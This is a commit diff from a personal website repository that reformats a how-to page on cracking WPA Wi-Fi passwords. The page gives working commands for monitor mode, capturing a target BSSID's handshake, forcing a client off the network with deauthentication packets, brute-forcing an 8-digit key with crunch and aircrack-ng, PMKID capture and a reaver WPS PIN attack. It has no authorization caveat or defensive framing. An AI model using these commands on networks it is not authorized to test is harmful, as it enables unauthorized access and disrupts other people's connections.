Benoit/Website
Benoit/Website
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Update all code blocks

Browse source
This commit is contained in:
Benoit S 2021-02-20 15:06:15 +09:00
parent 5bd12c70c7
commit 1d67e73eff
14 changed files with 237 additions and 246 deletions
Download patch file Download diff file Expand all files Collapse all files

34
docs/Howtos/HowtoCrackWPA.md
View file

@ -1,31 +1,31 @@
## Monitor mode
For my RTL8188EUS:
```
ip link set wlanX down
iw dev wlanX set type monitor
```console
# ip link set wlanX down
# iw dev wlanX set type monitor
```
## Scan networks
All channels:
```
airodump-ng wlanX
```console
# airodump-ng wlanX
```
Specific channel:
```
airodump-ng -c 6 wlanX
```console
# airodump-ng -c 6 wlanX
```
## Save a capture of chosen BSSID
```
airodump-ng -c 6 --bssid 00:23:B1:82:08:xx -w <filename> wlanX
```console
# airodump-ng -c 6 --bssid 00:23:B1:82:08:xx -w <filename> wlanX
```
You need to wait for a client to connect, or to deauth it and get the 4-way handshake.
```
aireplay-ng -0 1 -a 00:23:B1:82:0C:xx -c D0:37:45:2F:52:xx wlanX
```console
# aireplay-ng -0 1 -a 00:23:B1:82:0C:xx -c D0:37:45:2F:52:xx wlanX
```
`-a` is access point
`-c` is client
@ -36,8 +36,8 @@ Then you should have an EAPOL/WPA handshake.
### For a 8 digits scheme
```
crunch 8 8 0123456789 -s 00000000 | aircrack-ng -w - -b 00:23:B1:82:08:xx <filename>.cap
```console
$ crunch 8 8 0123456789 -s 00000000 | aircrack-ng -w - -b 00:23:B1:82:08:xx <filename>.cap
```
## Wireshark
@ -46,8 +46,8 @@ PSK Generator: <https://www.wireshark.org/tools/wpa-psk.html>
## PMKID method
```
hcxdumptool -i wlanX -o PMKID --enable_status=1
```console
$ hcxdumptool -i wlanX -o PMKID --enable_status=1
```
TODO...
@ -56,8 +56,8 @@ TODO...
AP must have WPS enabled with a PIN. Not PBC, push button.
```
reaver -i wlanX -b 00:23:B1:82:84:xx
```console
# reaver -i wlanX -b 00:23:B1:82:84:xx
```
## Resources